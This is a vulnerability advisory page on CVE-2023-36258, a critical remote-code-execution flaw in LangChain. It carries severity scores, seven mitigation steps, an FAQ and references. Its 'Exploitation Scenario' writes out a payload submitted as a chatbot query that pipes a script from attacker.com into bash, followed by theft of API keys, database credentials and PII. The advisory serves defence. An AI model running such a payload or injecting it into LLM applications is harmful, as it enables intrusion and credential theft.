CVE-2023-36258: LangChain: unauthenticated RCE via code injection
GHSA-2qmj-7962-cjq8 CRITICAL PoC AVAILABLE CISA: ATTENDAny LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.
Risk Assessment
Severity is maximal: CVSS 9.8, network-accessible, zero privileges, zero user interaction, full confidentiality/integrity/availability impact. EPSS is low (0.49%) but this is a well-documented, public exploit with GitHub PoC. LangChain's widespread adoption in LLM apps, agents, and RAG systems means the blast radius is broad. Any org that built AI tooling in 2023 and hasn't audited dependency versions is likely exposed.
Affected Systems
Severity & Risk
Attack Surface
Recommended Action
7 steps-
Patch: upgrade langchain to >=0.0.247 immediately.
-
Audit: run
pip show langchainacross all environments including dev, staging, CI/CD. -
Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root.
-
Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required.
-
Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes.
-
Network: block outbound connections from LangChain processes unless explicitly needed.
-
Rotate credentials if pre-patch deployments processed external input.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2023-36258?
Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.
Is CVE-2023-36258 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2023-36258, increasing the risk of exploitation.
How to fix CVE-2023-36258?
1. Patch: upgrade langchain to >=0.0.247 immediately. 2. Audit: run `pip show langchain` across all environments including dev, staging, CI/CD. 3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root. 4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required. 5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes. 6. Network: block outbound connections from LangChain processes unless explicitly needed. 7. Rotate credentials if pre-patch deployments processed external input.
What systems are affected by CVE-2023-36258?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, LLM application backends, chatbot systems, training pipelines.
What is the CVSS score for CVE-2023-36258?
CVE-2023-36258 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.63%.
Technical Details
NVD Description
An issue in LangChain before 0.0.236 allows an attacker to execute arbitrary code because Python code with os.system, exec, or eval can be used.
Exploitation Scenario
An attacker targeting a company's LLM-powered customer support chatbot (built on LangChain pre-0.0.236) crafts a query containing Python-executable syntax such as `__import__('os').system('curl attacker.com/shell.sh | bash')`. The input is passed unsanitized into a LangChain chain that internally calls eval() or exec() to process the expression. The OS command executes with the privileges of the LangChain server process, giving the attacker a reverse shell. From there they extract the OpenAI API key, Pinecone/Weaviate credentials, and any PII stored in the RAG database—all without authentication.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
- github.com/hwchase17/langchain/issues/5872 Exploit Issue Mitigation
- github.com/advisories/GHSA-2qmj-7962-cjq8
- github.com/langchain-ai/langchain/commit/8ba9835b925473655914f63822775679e03ea137
- github.com/langchain-ai/langchain/commit/e294ba475a355feb95003ed8f1a2b99942509a9e
- github.com/langchain-ai/langchain/commit/fab24457bcf8ede882abd11419769c92bc4e7751
- github.com/langchain-ai/langchain/issues/5872
- github.com/langchain-ai/langchain/issues/5872
- github.com/langchain-ai/langchain/pull/6003
- github.com/langchain-ai/langchain/pull/7870
- github.com/langchain-ai/langchain/pull/8425
- github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2023-98.yaml
- nvd.nist.gov/vuln/detail/CVE-2023-36258
- github.com/ARPSyndicate/cve-scores Exploit
- github.com/ali-hindy/langchain-fuzz Exploit
- github.com/fkie-cad/nvd-json-data-feeds Exploit
- github.com/zgimszhd61/openai-security-app-quickstart Exploit
Timeline
Related Vulnerabilities
CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same package: langchain CVE-2023-34541 9.8 LangChain: RCE via unsafe load_prompt deserialization
Same package: langchain CVE-2023-29374 9.8 LangChain: RCE via prompt injection in LLMMathChain
Same package: langchain CVE-2023-34540 9.8 LangChain: RCE via JiraAPIWrapper crafted input
Same package: langchain CVE-2023-36188 9.8 LangChain: RCE via PALChain unsanitized Python exec
Same package: langchain
AI Threat Alert